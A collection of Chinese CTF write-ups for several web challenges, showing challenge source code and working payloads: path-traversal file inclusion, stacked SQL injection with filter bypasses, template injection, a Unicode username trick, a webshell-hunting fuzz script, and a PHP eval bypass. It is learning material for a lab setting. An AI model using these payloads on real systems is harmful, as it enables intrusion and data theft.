Web

[HCTF 2018]WarmUp

打开题目F12中看到提示source.php,打开source.php看到源代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

hint.php中看到提示flag在ffffllllaaaagggg中

观察代码这部分发现遇到?即截断可以构造?file=source.php?xxxx绕过waf

$_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

最终wp:?file=source.php?/../../../../../../../../../../../../ffffllllaaaagggg
这里/使source.php?/变成一个不存在的目录,通过../../跳转目录读取flag

[强网杯 2019]随便注

打开题目看到

测试看到waf过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
过滤极其严格,尝试堆叠注入发现可行
堆叠注入:同时执行多条sql语句

查看两个表的内容
?inject=1';show columns from `words`;
?inject=1';show columns from `1919810931114514`;


下面我们用两种方式继续解答这道题

预编译

在mysql中支持预编译可以绕过很多种限制
在sql中我们运用如下语句预编译:

set @sql=CONCAT('sele','ct flag from `1919810931114514`');
prepare bypass from @sql;
execute bypass;
deallocate prepare bypass;

所以构造payload如下:
?inject=1';set @sql=CONCAT('sele','ct flag from `1919810931114514`‘);prepare bypass from @sql;execute bypass; deallocate prepare bypass;
发现还有过滤

由于strstr区分大小写,因此用大小写绕过
最终payload:
?inject=1';sEt @sql=CONCAT('sele','ct flag from `1919810931114514`');prePare bypass from @sql;execute bypass; deallocate prePare bypass;

修改表名和表结构

由于过滤了select,但我们可以通过源程序的语句select * from words where id='$id';查询flag
那么思路如下:
- 修改words为word
- 修改1919810931114514为words
- flag列修改为id列
修改表名语法为:
RENAME TABLE tablename1 TO tablename2;
修改列名语法为:
ALTER TABLE tablename CHANGE column1 column2 varchar(100);
构造payload:
?inject=1';RENAME TABLE `words` TO `word`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE words CHANGE flag id varchar(100);
输入1' or 1=1#即可查询到flag

[护网杯 2018]easy_tornado

打开题目看到三个引导文件,进入welcome.txt看到render想到SSTI(模版注入)

观察url发现读取文件为文件名以及文件的哈希值,看到hint中给出了hint值的算法,现在只需要找到cookie_secret

发现hash值错误的时候会有error界面

在msg后测试模版注入,发现大部分被过滤,只能读参数
通过查询资料得知cookie_secret存在self.application.settings中,这里handler.settings指向RequestHandler.application.settings,而RequestHandler.application.settings是self.application.settings的别名
经测试只有handler.settings可以用,其他均为500



注意md5区分大小写

得到flag

[SUCTF 2019]easysql

在网上看到因为出题人的失误导致了很多非预期
出题人如是说:

那么我们在网上看到了泄漏的源码为:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

其实在之前自己编写了脚本测试了waf,结果如下

脚本:

import requests
import re

cnt=1
url="http://14fd9e23-1534-411a-905f-b9f911521294.node3.buuoj.cn";
words=["ADD","ADDONINDEX","AGAINST","ALTER","ALL","ANY","AND","AS","ASC","BEFORE","BEGIN","BINARY","BOOLEAN","BY","BETWEEN","BLOB","BOTH","CALL","CASCADE","CAST","CHANGE","CHAR","CHARACTER","CHECK","COLLATION","COLLATE","CONDITION","CONNECTION","CONSTRAINT","CONTAINS","CONTINUE","CONVERT","COMPUTE","CROSS","CURRENT","CURRENT_DATE","CURRENT_TIME","CURRENT_TIMESTAMP","CURRENT_USER","CURSOR","CREATE","COLUMN","COLUMNS","CASE","DATABASES","DATABASE","DATE","DAY_HOUR","DAY_MICROSECOND","DAY_MINUTE","DAY_SECOND","DEC","DECIMAL","DECLARE","DEFAULT","DELAYED","DETERMINISTIC","DISTINCTROW","DIV","DO","DOUBLE","DELETE","DUAL","DROP","DISTINCT","DESC","DESCRIBE","DICTIONARY","DIMENSION","EACH","ELSEIF","ENCLOSED","ESCAPED","ESCAPE","EXIT","EXCEPT","ELSE","END","ENGINE","EXISTS","EXPLAIN","EXTRACT","FETCH","FIRST","FOLLOWING","FLOAT","FOR","FORCE","FROM","FOREIGN","FULLTEXT","FALSE","FUNCTION","FULL","GLOBAL","GRANT","GOTO","GROUP","HOUR_MICROSECOND","HOUR_MINUTE","HOUR_SECOND","HAVING","IF","IGNORE","IDENTIFIED","IN","IS","INFILE","INT","INTO","INSERT","INTEGER","ITERATE","INDEX","INDEXES","INTERSECT","INTERVAL","INNER","JOIN","KEEP","KILL","KEY","KEYS","LANGUAGE","LAST","LABEL","LEADING","LEAVE","LOAD","LOCALTIME","LOCALTIMESTAMP","LOCK","LIMIT","LONG","LOOP","LEFT","LIKE","MATCH","MINUTE_MICROSECOND","MINUTE_SECOND","MOD","MERGE","MODIFIES","MINUS","MODE","NATURAL","NULL","NOT","NULLS","OFFSET","OPTIMIZE","OPTION","OUT","OPEN","OUTFILE","OUTER","ON","OR","ORDER","OVER","OVERWRITE","PRECEDING","PRECISION","REPLACE","RANGE","PROCEDURE","PRIMARY","READ","REAL","REFERENCES","REGEXP","RELEASE","RENAME","REPEAT","REQUIRE","RESTRICT","RETURN","RLIKE","RIGHT","ROW","ROWS","SELECT","SCHEMA","SECOND+MICROSECOND","SEPARATOR","SESSION","SET","SQLSTATE","STATUS","STORED","SYSTEM","SMALLINT","SPATIAL","SHOW","SPECIFIC","SQL","SOME","TINYINT","TINYBLOB","TABLE","TABLEGROUP","TABLES","TIME","TIMESTAMP","TRIGGER","TO","TOP","TRUNCATE","TRUE","THEN","UNLOCK","UNBOUNDED","UNSIGNED","USE","USING","UNTIL","UPDATE","UNDO","UNIQUE","UNION","VARCHAR","VALUES","VARIABLES","VIEW","WHILE","WITH","WITHIN","WHEN","WHERE","WRITE","XOR","YEAR_MONTH"]
for i in words:
    cnt+=1
    d={'query':i}
    b=requests.post(url,data=d)
    if(re.search("Nonono.",b.text)!=None):print(i)

尝试1;show tables; 发现同随便注为堆叠注入

通过看源码可知没有过滤 * 故查询所以即可,payload为*,1

后来看了官方wp
出题人原本出题的点:
* 堆叠查询
* PIPES_AS_CONCAT
我们看到如果把sql_mode设置为PIPES_AS_CONCAT,mysql会把||当成字符串连接符

固payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接为select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag

[HCTF 2018]admin

看了两天只看懂了出题人的本义的思路(非预期过两天在看:坑++)
先说下出题人的本义:这个用了spotify的一个任意用户修改密码的漏洞
漏洞大概是这个样子

因为在spotify中有这样的用户名创建规则:
* 不允许用户名中的空格
* 将“BigBird”和“bigbird”视为相同的用户名
所以结果就是,无论你输入什么用户名,都会进行 unsername.lower().lower().lower() … 然后进行操作,最终操作时结果都是小写形式。但注册的时候并没有规范处理
于是我们就可以先用ᴀdmin注册一个账号并登陆
然后修改它的密码
用这个改后的密码登陆admin就可以了

[强网杯 2019]高明的黑客

打开看到如下

下载源码看到3002个文件
打开发现全是鬼畜的命名和看起来很像shell的东西
于是构造脚本fuzz找真正的shell
因为不会多线程跑了二十分钟。。。多线程的坑日后填

import os
import requests
import sys

url="http://localhost/src/"
files=os.listdir("/Users/f1ag/Downloads/src/")
cnt=1

def findget(file):
    a=[]
    f=open("/Users/f1ag/Downloads/src/"+file,'r')
    cnt=f.readlines()
    for i in cnt:
        if i.find("$_GET['")>0:
            start=i.find("$_GET['")+7
            end=i.find("'",start)
            a.append(i[start:end])
    return a

def findpost(file):
    a = []
    f = open("/Users/f1ag/Downloads/src/" + file, 'r')
    cnt = f.readlines()
    for i in cnt:
        if i.find("$_POST['") > 0:
            start = i.find("$_POST['") + 8
            end = i.find("'", start)
            a.append(i[start:end])
    return a

def test():
    global cnt
    for i in files:
        gets=findget(i)
        print("testing file %i:%s"%(cnt,i))
        cnt+=1
        for j in gets:
            newurl=url+"%s?%s=%s"%(i,j,"echo 'F1ag'")
            r=requests.get(newurl)
            #print(r.text)
            if("F1ag" in r.text):
                print("get test success:%s in %s"%(j,i))
                break
        posts=findpost(i)
        for j in posts:
            newurl=url+"%s"%(i)
            r=requests.post(newurl,data={j:"echo 'F1ag'"})
            if ("F1ag" in r.text):
                print("post test success:%s in %s" % (j, i))
                break

test()

期间还被之前配环境的留下坑坑了一下
跑了大概30分钟看到了

直接cat flag得到答案

[RoarCTF 2019]Easy Calc

首先打开F12看到waf


$('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; })

在php解析过程中,如果变量前面有空格,会去掉前面的空格再解析
所以使用? num=即可绕过waf
然后看到calc.php访问得到如下代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可通过chr转ASCII码绕过
首先构造payload看下目录
? num=1;var_dump(scandir(chr(47)))

然后高亮flagg查看flag
?%20num=1;var_dump(highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

参考资料:

https://www.bbsmax.com/A/WpdKKAjAdV/
https://blog.csdn.net/monkeysheep1234/article/details/89405901
https://blog.csdn.net/jianmoumou233/article/details/80259725
https://blog.csdn.net/belalds/article/details/805757552
https://blog.csdn.net/monkeysheep1234/article/details/89405901
https://www.cnblogs.com/clschao/articles/9962347.html
https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/


人们还能笑的时候,是不容易被打败的。